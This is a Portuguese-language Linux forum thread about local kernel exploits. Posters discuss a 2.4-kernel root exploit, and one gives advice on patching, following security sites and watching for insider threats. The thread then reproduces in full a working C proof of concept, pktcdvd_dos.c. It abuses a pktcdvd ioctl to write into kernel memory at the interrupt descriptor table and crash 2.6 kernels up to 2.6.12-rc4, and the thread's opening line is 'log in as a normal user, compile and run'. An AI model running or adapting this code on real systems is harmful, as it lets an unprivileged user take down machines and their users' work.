entra com usuario comum, compila e roda
Versão Imprimível
entra com usuario comum, compila e roda
Vonlinkerstain, poderia me enviar esse código para eu testar no meu Debian 3.1?
Agora fiquei com medo denovo. Preciso saber a gravidade da situação.
Se vc usa o kernel 2.6 nao terá esse problema.
No Debian eu ainda não o testei, mas ele só funciona nos kernels 2.4 pois é uma falha de system calls. O programa é um módulo, que pode ser carregado por um usuário comum, que deve estar na máquina, e ao ser carregado ele muda o uid do usuário para 0, com isso o cara vira root sem precisar de senha..Citação:
Postado originalmente por maverick_cba
Sim, até agora vocês estão falando de exploits que exploram bufferoverflow.
Um bom Administrador de Sistema, Rede e DBA, não pode deixar de participar de grupos de segurança sites de segurança, sites de exploits e outros....
Pois scriptkids apenas colocam os script's em C, BASH,Perl para rodar, e pode ter certeza de que se você não estiver antenado, ele vai explorar uma falha no seu sistema.
Temos que ficar atentos com as versões que estão rodando nas máquinas pois quando uma versão sobe, é que algum BUG foi corrigido, então deem uma olhada o pq a versão subiu, vejam se não existem "Remote Code Execution" ou mesmo um "Arbitrary code Execution "pois se existir, ou você para o serviço, ou atualiza.
Lembrando tambem que a maioria das invasões vem de dentro da sua empresa, e não de fora, pois de dentro você tem muito mais serviços rodando no servidor e seus scripts estão mirados para fora!
E aquele cara que está com aviso prévio e odeia a empresa, e de alguma forma quer prejudicar o máximo possível a empresa?!!.
Se alguem tiver acesso a máquina em questão, (ssh) (tty) (telnet) entre outros é bom você ficar mil vezes mais esperto, pois exploits locais são muito comuns em Linux, Windows,MAC ,FreeBSD (pois a maioria das vezes o exploit está escrito em cima da sua aplicação e não do sistema que você está rodando) e se o "usuário" com conhecimento em exploits realmente quiser subir para root, é bem provavel que consiga.
Então, se cuidem Linuxers, pois a cada dia nascem mais e mais ScriptKids.
Não mencionei "Escovadores de Bits", pois sabemos que somos vulneraveis.
#######################################################################
/* pktcdvd_dos.c proof-of-concept
* This is only a lame POC which will crash the machine, no root shell here.
* --- alert7
* 2005-5-15
* the vulnerability in 2.6 up to and including 2.6.12-rc4
*
* gcc -o pktcdvd_dos pktcdvd_dos.c
*
* NOTE: require user can read pktcdvd block device
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/sysctl.h>
#include <linux/cdrom.h>
#define __NR_sys_ioctl __NR_ioctl
#define PKTCDVDDEVICE "/dev/hdc"
static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg);
struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));
unsigned int get_addr_idt() {
struct idtr idtr;
asm("sidt %0" : "=m" (idtr));
return idtr.base;
}
struct desc_struct {
unsigned long a,b;
};
int main(int argc,char **argv)
{
unsigned int ptr_idt;
int iret ;
int fd;
printf("[++]user stack addr %p \n",&ptr_idt);
if ( ( (unsigned long )&ptr_idt >>24)==0xfe){
printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n");
return -1;
}
ptr_idt=get_addr_idt();
printf("[++]IDT Addr %p \n",ptr_idt);
fd = open(PKTCDVDDEVICE,O_RDONLY);
if (fd ==-1)
{
printf("[--]");
fflush(stdout);
perror("open");
return -1;
}
unsigned long WriteTo ;
if ( (ptr_idt>>24)==0xc0){
printf("[++]this OS in Real Linux\n");
WriteTo= ptr_idt;
}else{
printf("[++]this OS maybe in VMWARE\n");
WriteTo = 0xc0100000;
}
printf("[++]call sys_ioctl will crash machine\n");
fflush(stdout);
int loopi;
for (loopi=0;loopi<0x100000 ;loopi++ )
{
printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
fflush(stdout);
iret = sys_ioctl(fd,
CDROM_LAST_WRITTEN,
WriteTo+loopi*4);
if (iret ==-1)
{
printf("[--]");
fflush(stdout);
perror("ioctl");
//if in VMWARE ,rewrite ptr_idt adress will failed
printf("[--]still aliving\n");
close(fd);
return -1;
}
}
close(fd);
return 0;
}